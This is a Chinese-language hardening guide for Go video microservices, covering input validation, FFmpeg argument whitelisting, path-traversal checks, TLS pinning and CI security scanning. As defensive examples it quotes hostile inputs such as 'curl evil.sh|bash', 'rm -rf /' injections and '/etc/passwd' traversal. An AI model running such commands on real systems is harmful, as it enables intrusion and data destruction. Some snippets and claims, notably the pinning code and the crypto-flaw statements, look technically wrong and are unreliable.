Go视频微服务上线前必须做的6项安全审计，漏一项就可能被RCE

第一章：Go视频微服务安全审计全景概览

现代视频微服务架构通常由多个松耦合组件构成：媒体转码网关、流分发边缘节点、用户鉴权中心、元数据管理服务及实时监控探针。这些服务多采用 Go 编写，依赖 Gin、Echo 或 gRPC-Go 构建 HTTP/gRPC 接口，同时集成 FFmpeg（通过 exec.Command 调用）、Redis（会话缓存）、PostgreSQL（用户与内容元数据）及对象存储（如 MinIO 或 S3）。安全风险并非孤立存在于某一层，而是贯穿于协议交互、依赖调用、配置加载与运行时行为之中。

核心攻击面识别

API 层：未校验的 HLS/DASH 清单 URL 参数可能导致路径遍历（如 ?manifest=/etc/passwd）；
媒体处理层：FFmpeg 子进程若直接拼接用户输入的 -i 参数，可触发命令注入；
认证授权层：JWT 签名密钥硬编码在二进制中或环境变量未设为只读，易被逆向或泄露；
依赖供应链：golang.org/x/crypto 旧版本存在 CBC-MAC 实现缺陷，影响 AES-GCM 密钥派生安全性。

审计工具链组合

推荐使用以下开源工具协同扫描：	工具	用途
`govulncheck`	官方漏洞数据库匹配	`govulncheck ./... -json > vulns.json`
`gosec`	静态代码缺陷检测	`gosec -exclude=G104,G107 ./cmd/...`（跳过已知误报）
`trivy fs --security-checks vuln,config,secret`	镜像与配置文件扫描	`trivy fs --format template -t "@contrib/sbom.tpl" ./`

关键配置核查项

检查 main.go 中是否禁用不安全的 HTTP 重定向：

// ✅ 正确：强制 HTTPS 且禁用不安全端口监听
srv := &http.Server{
    Addr:      ":8080",
    Handler:   router,
    TLSConfig: &tls.Config{MinVersion: tls.VersionTLS12},
}
// ❌ 错误：未设置 ReadHeaderTimeout 或允许 HTTP 明文回源

所有服务启动前须验证 GODEBUG=asyncpreemptoff=1 是否被意外启用——该调试标志会禁用 Goroutine 抢占，导致拒绝服务类逻辑绕过。审计应覆盖编译期（go build -ldflags="-s -w"）、容器镜像（Dockerfile 中 USER 1001 降权）、Kubernetes Deployment（securityContext.runAsNonRoot: true）三层纵深防御基线。

第二章：输入验证与反注入加固

2.1 HTTP请求参数的Schema校验与Go validator实践

HTTP接口接收的查询参数、表单数据或JSON Body需在进入业务逻辑前完成结构化校验。go-playground/validator 是Go生态最成熟的字段级校验库，支持嵌套结构、自定义规则和国际化错误。

校验结构体定义

type CreateUserRequest struct {
    Name  string `json:"name" validate:"required,min=2,max=20"`
    Email string `json:"email" validate:"required,email"`
    Age   uint8  `json:"age" validate:"gte=0,lte=150"`
}

逻辑说明：required确保非空；min/max限制字符串长度；email触发RFC5322格式校验；gte/lte对数值范围做闭区间检查。所有tag均在运行时通过反射解析，零分配开销。

常见校验规则对照表

规则标签	含义	示例值
`required`	字段不可为空	`""` → 失败
`url`	标准URL格式	`"https://a.b"` → 通过
`oneof=a b c`	枚举值校验	`"b"` → 通过

请求处理流程

graph TD
    A[HTTP Request] --> B[Bind & Validate]
    B --> C{Valid?}
    C -->|Yes| D[Business Logic]
    C -->|No| E[400 Bad Request + Errors]

2.2 视频URL/FFmpeg参数的白名单解析与正则沙箱实现

为防止恶意构造 rtsp://;rm -rf / 或 -i http://x;curl evil.sh|bash 类攻击，需对输入进行双重校验：协议白名单 + 参数语法沙箱。

白名单协议与基础校验

支持协议仅限：

http://, https://, rtmp://, rtsp://, file://（本地仅限 /tmp/ 和 /var/video/）

正则沙箱核心逻辑

import re

# 安全参数白名单正则（非贪婪、锚定、无分组捕获）
SAFE_FF_ARGS = r'^(-ss \d+\.?\d*|-t \d+\.?\d*|-c:v libx264|-preset fast|-y)$'
def is_arg_safe(arg: str) -> bool:
    return bool(re.fullmatch(SAFE_FF_ARGS, arg.strip()))

该正则强制匹配完整参数项（^...$），禁止空格逃逸或拼接；-ss 和 -t 仅接受非负浮点数，libx264 和 fast 为固定字符串，杜绝命令注入。

沙箱验证流程

graph TD
    A[原始URL/参数] --> B{协议是否在白名单？}
    B -->|否| C[拒绝]
    B -->|是| D{每个FFmpeg参数是否匹配SAFE_FF_ARGS？}
    D -->|否| C
    D -->|是| E[放行]

风险参数	是否允许	原因
`-i http://a.com`	❌	`-i` 未列入白名单
`-ss 5.5`	✅	精确匹配白名单模式
`-ss 5;rm -f *`	❌	含分号，不满足`^$`

2.3 文件上传路径遍历防护：filepath.Clean + 虚拟根目录隔离

路径遍历（Path Traversal）是文件上传功能中最隐蔽且高危的漏洞之一，攻击者通过 ../../../etc/passwd 等恶意路径绕过校验，读取或覆盖系统敏感文件。

核心防御双机制

filepath.Clean() 归一化路径，折叠 .. 和 .，但不验证语义合法性（如 /tmp/../../etc/shadow 清洗后仍为 /etc/shadow）；
虚拟根目录隔离：将所有合法文件操作限定在预设安全基目录（如 /var/uploads/）下，拒绝清洗后路径“逃逸”该前缀。

安全校验代码示例

import (
    "path/filepath"
    "strings"
)

func safeUploadPath(baseDir, userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)                    // 归一化：/a/../b → /b
    absPath := filepath.Join(baseDir, cleaned)             // 拼接：/var/uploads + /../etc/passwd → /var/uploads/../etc/passwd
    cleanedAbs := filepath.Clean(absPath)                  // 再次清洗：→ /etc/passwd
    if !strings.HasPrefix(cleanedAbs, filepath.Clean(baseDir)+string(filepath.Separator)) {
        return "", fmt.Errorf("path traversal attempt detected")
    }
    return cleanedAbs, nil
}

逻辑分析：先拼接再清洗，确保最终路径以 baseDir/ 开头；filepath.Clean(baseDir) 防止基目录自身含 ..；string(filepath.Separator) 适配跨平台分隔符。

防护效果对比表

检查方式	能拦截 `../../../etc/passwd`？	能拦截 `/etc/passwd`（绝对路径）？
仅 `filepath.Clean`	❌ 否（清洗后仍为 `/etc/passwd`）	❌ 否
Clean + 前缀校验	✅ 是	✅ 是（`/etc/passwd` 不以 `/var/uploads/` 开头）

graph TD
    A[用户输入路径] --> B[filepath.Clean]
    B --> C[与 baseDir 拼接]
    C --> D[再次 filepath.Clean]
    D --> E{是否以 baseDir/ 开头？}
    E -->|是| F[允许访问]
    E -->|否| G[拒绝并报错]

2.4 JSON/YAML配置注入检测：自定义Unmarshaler与AST级字段扫描

配置解析层是攻击面的关键入口。当 json.Unmarshal 或 yaml.Unmarshal 直接作用于用户可控的原始字节流时，易触发反射式反序列化漏洞（如 time.Time.UnmarshalJSON 的恶意构造）。

自定义 Unmarshaler 拦截恶意值

func (u *SafeURL) UnmarshalJSON(data []byte) error {
    if len(data) > 1024 { // 长度限制
        return errors.New("URL too long")
    }
    var s string
    if err := json.Unmarshal(data, &s); err != nil {
        return err
    }
    if strings.Contains(s, "javascript:") || strings.HasPrefix(s, "data:") {
        return errors.New("unsafe URL scheme detected")
    }
    u.URL = s
    return nil
}

该实现覆盖默认 json.Unmarshaler 接口，在反序列化前完成白名单校验与长度约束，避免反射绕过。

AST 级字段扫描（Go parser + ast.Inspect）

扫描目标	检测逻辑	风险等级
`json:",omitempty"` 字段	检查是否缺失空值校验逻辑	⚠️ 中
嵌套结构体字段	递归遍历 `ast.StructType`	🔴 高
未导出字段	标记为潜在盲区（`json:"-"` 除外）	🟡 低

graph TD
    A[原始 YAML/JSON 字节流] --> B{AST 解析}
    B --> C[ast.File → struct 字段树]
    C --> D[逐字段检查 tag 与类型]
    D --> E[标记高风险字段：interface{} / rawMessage / time.Time]
    E --> F[生成安全加固建议]

2.5 Webhook回调签名验证：HMAC-SHA256双向认证与时间戳防重放

Webhook 安全的核心在于可信身份确认与请求时效性保障。单纯依赖 HTTPS 或 IP 白名单无法抵御重放攻击或中间人伪造。

签名生成逻辑（服务端）

import hmac
import hashlib
import time

def generate_signature(payload: bytes, secret: str, timestamp: int) -> str:
    # 构造待签名字符串：时间戳 + 换行符 + 请求体原始字节
    msg = f"{timestamp}\n".encode() + payload
    signature = hmac.new(
        key=secret.encode(),
        msg=msg,
        digestmod=hashlib.sha256
    ).hexdigest()
    return signature

逻辑分析：timestamp 强制参与签名，确保签名一次性；payload 不经 JSON 序列化直接使用原始字节，避免字段顺序/空格/转义导致的哈希不一致；hmac.new 使用 sha256 实现密钥绑定，防止长度扩展攻击。

验证流程（接收方）

graph TD
    A[收到Webhook请求] --> B{检查X-Timestamp是否在±5分钟内？}
    B -->|否| C[拒绝]
    B -->|是| D[按相同规则计算HMAC-SHA256]
    D --> E[比对X-Signature头]
    E -->|匹配| F[处理业务]
    E -->|不匹配| C

关键参数对照表

头部字段	示例值	说明
`X-Timestamp`	`1717023456`	Unix 秒级时间戳，服务端生成
`X-Signature`	`a1b2c3...f8e9d0`	HMAC-SHA256 十六进制结果
`Content-Type`	`application/json`	必须与签名时 payload 格式一致

第三章：依赖供应链与运行时防护

3.1 go.mod依赖树深度审计：govulncheck + 自定义CVE规则引擎

Go 模块依赖树常隐匿深层间接漏洞，仅依赖 go list -m all 或 govulncheck 默认扫描易漏检定制化供应链风险。

深度扫描与规则增强协同机制

# 启用模块级递归审计 + 输出JSON供规则引擎消费
govulncheck -json ./... > vulns.json

-json 输出结构化漏洞元数据（含模块路径、CVE ID、影响版本范围），为后续规则匹配提供标准输入源。

自定义CVE规则引擎核心逻辑

// RuleEngine.go：基于SemVer范围匹配+供应商白名单过滤
type CVEPolicy struct {
    ID        string   `json:"cve_id"`
    Module    string   `json:"module"`
    Versions  []string `json:"versions"` // e.g., [">=1.2.0", "<1.5.0"]
    Severity  string   `json:"severity"` // "CRITICAL", "HIGH"
}

该结构支持动态加载YAML规则集，实现按组织策略拦截高危间接依赖。

规则类型	匹配粒度	示例场景
版本范围匹配	SemVer区间	`golang.org/x/crypto >=0.17.0,<0.20.0`
供应商黑名单	module前缀	`github.com/evilcorp/`
修复状态校验	是否含fix commit	`git log -S "fix: CVE-2023-1234"`

graph TD
    A[go.mod] --> B[govulncheck -json]
    B --> C{CVE规则引擎}
    C --> D[语义化版本比对]
    C --> E[供应商可信域校验]
    C --> F[提交哈希修复验证]
    D & E & F --> G[阻断/告警/自动PR]

3.2 CGO调用FFmpeg/VPX的内存安全边界控制（unsafe.Pointer生命周期管理）

CGO桥接C库时，unsafe.Pointer 是数据传递的核心媒介，但其生命周期完全脱离Go GC管理，极易引发悬垂指针或use-after-free。

内存归属权契约

FFmpeg分配的AVFrame.data[0]必须由av_freep()释放，禁止交由Go runtime回收
Go侧分配的缓冲区（如make([]byte, size)）转为C.uint8_t*后，需确保在C函数返回前不被GC回收

典型错误模式

func decodeBad(buf []byte) *C.AVFrame {
    frame := C.av_frame_alloc()
    // ❌ buf可能被GC回收，而frame.data[0]仍指向其地址
    frame.data[0] = (*C.uint8_t)(unsafe.Pointer(&buf[0]))
    return frame
}

此处buf是局部切片，函数返回后其底层数组可能被GC回收，但AVFrame内部仍持有无效指针。正确做法是延长buf生命周期（如全局变量、runtime.KeepAlive(buf)或显式C.free配合手动管理）。

安全实践对比

方式	所有权归属	GC安全	适用场景
`C.CBytes()` + `C.free()`	C侧	✅	短期C调用，需手动释放
`runtime.KeepAlive()`	Go侧	✅	Go分配、C只读访问
`C.malloc()` + `C.free()`	C侧	✅	C长期持有（如编码器上下文）

graph TD
    A[Go分配[]byte] --> B{是否C长期持有？}
    B -->|否| C[用C.CBytes + KeepAlive]
    B -->|是| D[改用C.malloc + 显式free]
    C --> E[GC可安全回收]
    D --> F[C负责全生命周期]

3.3 容器镜像最小化构建：多阶段编译+distroless运行时+glibc替代方案

多阶段构建消除构建依赖

使用 FROM ... AS builder 分离编译与运行环境：

# 构建阶段：完整工具链
FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -a -ldflags '-extldflags "-static"' -o /bin/app .

# 运行阶段：无发行版基础镜像
FROM gcr.io/distroless/static-debian12
COPY --from=builder /bin/app /bin/app
ENTRYPOINT ["/bin/app"]

CGO_ENABLED=0 禁用 cgo，避免动态链接；-ldflags '-extldflags "-static"' 强制静态链接 Go 标准库与系统调用封装，生成纯静态二进制。

distroless + musl 替代路径

当需兼容 C 扩展（如 SQLite、OpenSSL），可切换至 alpine:latest + musl，但须注意 syscall 兼容性边界。

方案	镜像大小	glibc 依赖	安全基线
distroless/static	~2MB	❌（纯静态）	⭐⭐⭐⭐⭐
alpine/musl	~7MB	❌（musl）	⭐⭐⭐⭐
debian-slim	~45MB	✅	⭐⭐

构建流程可视化

graph TD
  A[源码] --> B[Builder Stage<br>golang:alpine<br>编译+静态链接]
  B --> C[产出静态二进制]
  C --> D[Runtime Stage<br>distroless/static]
  D --> E[最终镜像<br>仅含/app+内核接口]

第四章：API网关与传输层加固

4.1 gRPC-Gateway的OpenAPI Schema安全约束：enum/maxLength/regex自动注入校验

gRPC-Gateway 在生成 OpenAPI v2/v3 文档时，会自动将 Protocol Buffer 的字段约束映射为 Swagger Schema 级校验规则，无需额外注解即可启用基础安全防护。

自动注入的约束类型

enum → 转为 enum: [value1, value2]
string + max_length → 映射为 maxLength: N
string + pattern（正则）→ 转为 pattern: "^[a-z]+$"

示例：proto 定义与生成效果

// user.proto
message CreateUserRequest {
  string username = 1 [(validate.rules).string = {
    pattern: "^[a-z]{3,16}$",
    max_len: 16
  }];
  Role role = 2 [(validate.rules).enum = true];
}
enum Role { ADMIN = 0; USER = 1; }

上述定义经 protoc-gen-openapiv2 插件处理后，在 /swagger.json 中自动生成：

"username": {
  "type": "string",
  "pattern": "^[a-z]{3,16}$",
  "maxLength": 16
},
"role": {
  "type": "integer",
  "enum": [0, 1]
}

逻辑分析：protoc-gen-openapiv2 解析 validate.rules 扩展，提取 pattern 和 max_len 字段，并严格遵循 OpenAPI 3.0 规范序列化。enum 值直接取 Role 枚举编号，确保文档与服务端校验语义一致。

校验生效链路

graph TD
  A[.proto with validate.rules] --> B[protoc-gen-openapiv2]
  B --> C[OpenAPI JSON/YAML]
  C --> D[gRPC-Gateway runtime schema validation]
  D --> E[拒绝非法请求并返回 400]

4.2 TLS 1.3强制启用与证书钉扎（Certificate Pinning）在Go net/http中的实现

强制 TLS 1.3 的客户端配置

Go 1.12+ 默认支持 TLS 1.3，但需显式禁用旧版本以确保强制启用：

tr := &http.Transport{
    TLSClientConfig: &tls.Config{
        MinVersion: tls.VersionTLS13,
        MaxVersion: tls.VersionTLS13,
        // 禁用所有非 TLS 1.3 密码套件
        CipherSuites: []uint16{
            tls.TLS_AES_128_GCM_SHA256,
            tls.TLS_AES_256_GCM_SHA384,
        },
    },
}

MinVersion/MaxVersion 限定协议范围；CipherSuites 显式指定仅允许 TLS 1.3 原生套件，避免协商降级。

证书钉扎实现

使用公钥哈希（SPKI pin）进行运行时验证：

func pinCert(resp *http.Response) error {
    if len(resp.TLS.PeerCertificates) == 0 {
        return errors.New("no peer certificate")
    }
    pubKey := resp.TLS.PeerCertificates[0].PublicKey
    hash := sha256.Sum256(pubKey.(crypto.Signer).Public().(*rsa.PublicKey).N.Bytes())
    expected := "a1b2c3..." // 预置的 SPKI pin 值（Base64 编码 SHA256）
    if !bytes.Equal(hash[:], decodePin(expected)) {
        return errors.New("certificate pin mismatch")
    }
    return nil
}

该逻辑在 http.Client.CheckRedirect 或响应处理中调用，确保仅信任绑定公钥的终端证书。

安全策略对比

策略	TLS 1.3 强制	证书钉扎	抗中间人能力
仅系统 CA 校验	❌	❌	弱
TLS 1.3 + CA	✅	❌	中
TLS 1.3 + Pin	✅	✅	强

graph TD
    A[HTTP Client] --> B[Transport with TLS 1.3 config]
    B --> C[发起 TLS 握手]
    C --> D[收到 Server Certificate]
    D --> E[提取 SPKI 并哈希比对]
    E -->|匹配| F[接受连接]
    E -->|不匹配| G[终止连接]

4.3 流式视频响应的HTTP/2头部混淆与敏感头字段自动过滤（如Server、X-Powered-By）

在 HTTP/2 多路复用流式传输中，原始服务器标识头可能泄露技术栈风险。现代媒体网关需在不破坏 HPACK 压缩效率的前提下动态过滤或混淆敏感字段。

过滤策略优先级

首先拦截 Server、X-Powered-By、X-AspNet-Version
其次重写 Via 为泛化值（如 via media-gw/2.4）
最后保留 Content-Type、:status、content-length（HPACK 编码必需）

Nginx + Lua 实现示例

# nginx.conf 中的 stream 块内嵌入
header_filter_by_lua_block {
    ngx.header.Server = "video-cdn"          -- 混淆 Server 字段
    ngx.header["X-Powered-By"] = nil         -- 彻底移除
    ngx.header["X-Frame-Options"] = "DENY"   -- 补充安全头
}

该逻辑在 header_filter 阶段执行，仅作用于响应头；ngx.header[key] = nil 触发 HTTP/2 帧级删除，不影响 HPACK 动态表索引一致性。

头字段	默认行为	HTTP/2 兼容性
`Server`	过滤	✅ 无影响
`X-Powered-By`	删除	✅ 安全
`:status`	保留	❌ 不可修改

graph TD
    A[HTTP/2 DATA Frame] --> B{Header Filter}
    B -->|匹配敏感键| C[HPACK 动态表跳过编码]
    B -->|合法头| D[标准 HPACK 压缩]
    C --> E[输出混淆/空值]

4.4 限流熔断策略的Go原生实现：基于x/time/rate的令牌桶+Redis分布式滑动窗口

本地速率控制：`x/time/rate` 令牌桶

import "golang.org/x/time/rate"

limiter := rate.NewLimiter(rate.Every(100*time.Millisecond), 5) // 每100ms放行1个，初始桶容量5
if !limiter.Allow() {
    http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
    return
}

rate.Every(100ms) 表示平均间隔，5 是突发容量（burst）。Allow() 原子检查并消耗令牌，适合单机QPS整形。

分布式滑动窗口：Redis + Lua原子计数

使用 ZSET 存储时间戳+请求ID，配合 ZREMRANGEBYSCORE 自动清理过期项，窗口精度达毫秒级。

组件	作用	精度
`x/time/rate`	单机瞬时流量整形	100ms级
Redis ZSET	跨节点请求统计与窗口对齐	毫秒级

熔断协同机制

graph TD
    A[HTTP请求] --> B{本地令牌桶}
    B -- 允许 --> C[执行业务]
    B -- 拒绝 --> D[触发Redis滑动窗口校验]
    D --> E{窗口内请求数 > 阈值?}
    E -- 是 --> F[返回503 + 触发熔断]
    E -- 否 --> C

第五章：上线前自动化安全巡检清单

核心资产指纹校验

在CI/CD流水线末期，通过nmap -sS -p- --script=banner,http-title,ssl-cert <target>自动采集目标服务端口、协议版本、HTTP标题与SSL证书信息，并比对预设基线JSON（如expected-fingerprints.json）。若发现OpenSSL 1.1.1f或Nginx 1.18.0等已知高危版本，流水线立即阻断并推送告警至Slack #sec-alert频道。某电商项目曾因此拦截了未更新的Log4j 2.14.1依赖容器镜像。

敏感信息静态扫描

集成gitleaks与truffleHog3双引擎，在Git commit hooks与Jenkins构建阶段并行扫描源码与二进制产物。配置自定义规则匹配AWS_ACCESS_KEY_ID=[A-Z0-9]{20}、ssh-rsa AAAA.*等17类正则模式，并排除test/fixtures/路径。2023年Q3审计显示，该机制拦截了12次硬编码数据库密码提交，平均响应延迟

配置合规性检查

使用Open Policy Agent（OPA）执行策略即代码验证。以下为Kubernetes Deployment资源的强制约束示例：

package k8s.admission

deny[msg] {
  input.request.kind.kind == "Deployment"
  container := input.request.object.spec.template.spec.containers[_]
  not container.securityContext.runAsNonRoot == true
  msg := sprintf("container '%s' must run as non-root", [container.name])
}

TLS证书链完整性验证

调用openssl s_client -connect example.com:443 -servername example.com 2>/dev/null | openssl x509 -noout -text提取证书链，通过Python脚本验证：① 有效期未过期；② Subject Alternative Name包含部署域名；③ 签发机构为Let’s Encrypt或DigiCert白名单CA。失败时自动触发Certbot续签并重载Nginx配置。

容器镜像漏洞快照

在Docker Build阶段嵌入Trivy扫描：

trivy image --severity CRITICAL,HIGH --format table --output trivy-report.html nginx:1.23.3

生成HTML报告并存档至MinIO，同时将CVE-2022-2317（nginx目录遍历）等关键漏洞写入Jira Issue，关联PR编号与责任人。

检查项	工具	阻断阈值	响应动作
Web应用OWASP ZAP主动扫描	ZAP API	高危漏洞≥1	暂停发布，邮件通知开发组长
SAST代码缺陷	Semgrep	CWE-79（XSS）≥3处	生成PR评论并标记`security/blocker`标签
云配置风险	Checkov	AWS S3公开桶=1	调用AWS CLI自动设置`--acl private`

运行时权限最小化验证

通过kubectl auth can-i --list --namespace=prod确认ServiceAccount仅具备get/list/watch权限于pods/log资源，禁止exec或delete操作。某金融客户因误配ClusterRole导致生产Pod被恶意删除，此检查现作为上线强校验项。

第三方组件许可证审计

运行npm audit --audit-level=high --json | jq '.advisories[] | select(.severity=="high") | .title'与pip-licenses --format=markdown --format-file=licenses.md，确保无GPL-3.0等传染性许可证组件混入闭源系统。2024年2月拦截了含AGPLv3的pdfjs-dist v3.4.120升级包。

日志脱敏策略生效确认

向测试接口发送{"phone":"13800138000","id_card":"110101199003072757"}请求，捕获Fluentd输出日志流，使用grep -E "(13[0-9]|14[0-9]|15[0-9]|17[0-9]|18[0-9])\d{8}|[1-9]\d{5}(18|19|([23]\d))\d{2}((0[1-9])|(1[0-2]))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]"验证手机号与身份证号字段是否被替换为***掩码。